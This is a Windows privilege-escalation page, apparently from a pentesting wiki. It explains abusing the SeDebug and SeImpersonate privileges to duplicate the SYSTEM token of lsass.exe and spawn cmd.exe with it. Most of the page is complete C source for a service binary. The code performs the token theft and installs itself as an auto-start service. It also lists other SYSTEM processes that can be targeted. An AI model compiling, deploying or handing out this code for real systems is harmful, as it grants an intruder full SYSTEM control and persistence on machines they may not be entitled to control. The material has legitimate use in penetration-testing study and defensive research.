# SeDebug + SeImpersonate copy token The following code **exploits the privileges SeDebug and SeImpersonate** to copy the token from a **process running as SYSTEM** and with **all the token privileges**. In this case, this code can be compiled and used as a **Windows service binary** to check that it's working. However, the main part of the **code where the elevation occurs** is inside the **`Exploit`** **function**. Inside of that function you can see that the **process** _**lsass.exe**_ **is searched**, then it's **token is copied**, and finally that **token is used to spawn a new** _**cmd.exe**_ **with all the privileges of the copied token**. **Other processes** running as SYSTEM with all or most of the token privileges are: _**services.exe**_**,** _**svhost.exe**_ \(on of the firsts ones\), _**wininit.exe**_**,** _**csrss.exe**_... \(_remember that you won't be able to copy a token from a Protected process_\). Moreover, you can use the tool [Process Hacker](https://processhacker.sourceforge.io/downloads.php) running as administrator to see the tokens of a process. ```c #include #include #include #pragma comment (lib, "advapi32") TCHAR* serviceName = TEXT("TokenDanceSrv"); SERVICE_STATUS serviceStatus; SERVICE_STATUS_HANDLE serviceStatusHandle = 0; HANDLE stopServiceEvent = 0; //This function will find the pid of a process by name int FindTarget(const char *procname) { HANDLE hProcSnap; PROCESSENTRY32 pe32; int pid = 0; hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (INVALID_HANDLE_VALUE == hProcSnap) return 0; pe32.dwSize = sizeof(PROCESSENTRY32); if (!Process32First(hProcSnap, &pe32)) { CloseHandle(hProcSnap); return 0; } while (Process32Next(hProcSnap, &pe32)) { if (lstrcmpiA(procname, pe32.szExeFile) == 0) { pid = pe32.th32ProcessID; break; } } CloseHandle(hProcSnap); return pid; } int Exploit(void) { HANDLE hSystemToken, hSystemProcess; HANDLE dupSystemToken = NULL; HANDLE hProcess, hThread; STARTUPINFOA si; PROCESS_INFORMATION pi; int pid = 0; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); // open high privileged process if ( pid = FindTarget("lsass.exe") ) hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); else return -1; // extract high privileged token if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) { CloseHandle(hSystemProcess); return -1; } // make a copy of a token DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupSystemToken); // and spawn a new process with higher privs CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); return 0; } void WINAPI ServiceControlHandler( DWORD controlCode ) { switch ( controlCode ) { case SERVICE_CONTROL_SHUTDOWN: case SERVICE_CONTROL_STOP: serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; SetServiceStatus( serviceStatusHandle, &serviceStatus ); SetEvent( stopServiceEvent ); return; case SERVICE_CONTROL_PAUSE: break; case SERVICE_CONTROL_CONTINUE: break; case SERVICE_CONTROL_INTERROGATE: break; default: break; } SetServiceStatus( serviceStatusHandle, &serviceStatus ); } void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) { // initialise service status serviceStatus.dwServiceType = SERVICE_WIN32; serviceStatus.dwCurrentState = SERVICE_STOPPED; serviceStatus.dwControlsAccepted = 0; serviceStatus.dwWin32ExitCode = NO_ERROR; serviceStatus.dwServiceSpecificExitCode = NO_ERROR; serviceStatus.dwCheckPoint = 0; serviceStatus.dwWaitHint = 0; serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler ); if ( serviceStatusHandle ) { // service is starting serviceStatus.dwCurrentState = SERVICE_START_PENDING; SetServiceStatus( serviceStatusHandle, &serviceStatus ); // do initialisation here stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 ); // running serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN); serviceStatus.dwCurrentState = SERVICE_RUNNING; SetServiceStatus( serviceStatusHandle, &serviceStatus ); Exploit(); WaitForSingleObject( stopServiceEvent, -1 ); // service was stopped serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; SetServiceStatus( serviceStatusHandle, &serviceStatus ); // do cleanup here CloseHandle( stopServiceEvent ); stopServiceEvent = 0; // service is now stopped serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN); serviceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus( serviceStatusHandle, &serviceStatus ); } } void InstallService() { SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE ); if ( serviceControlManager ) { TCHAR path[ _MAX_PATH + 1 ]; if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) { SC_HANDLE service = CreateService( serviceControlManager, serviceName, serviceName, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path, 0, 0, 0, 0, 0 ); if ( service ) CloseServiceHandle( service ); } CloseServiceHandle( serviceControlManager ); } } void UninstallService() { SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT ); if ( serviceControlManager ) { SC_HANDLE service = OpenService( serviceControlManager, serviceName, SERVICE_QUERY_STATUS | DELETE ); if ( service ) { SERVICE_STATUS serviceStatus; if ( QueryServiceStatus( service, &serviceStatus ) ) { if ( serviceStatus.dwCurrentState == SERVICE_STOPPED ) DeleteService( service ); } CloseServiceHandle( service ); } CloseServiceHandle( serviceControlManager ); } } int _tmain( int argc, TCHAR* argv[] ) { if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) { InstallService(); } else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) { UninstallService(); } else { SERVICE_TABLE_ENTRY serviceTable[] = { { serviceName, ServiceMain }, { 0, 0 } }; StartServiceCtrlDispatcher( serviceTable ); } return 0; } ``` **The code of this example was shared by an anonymous person.**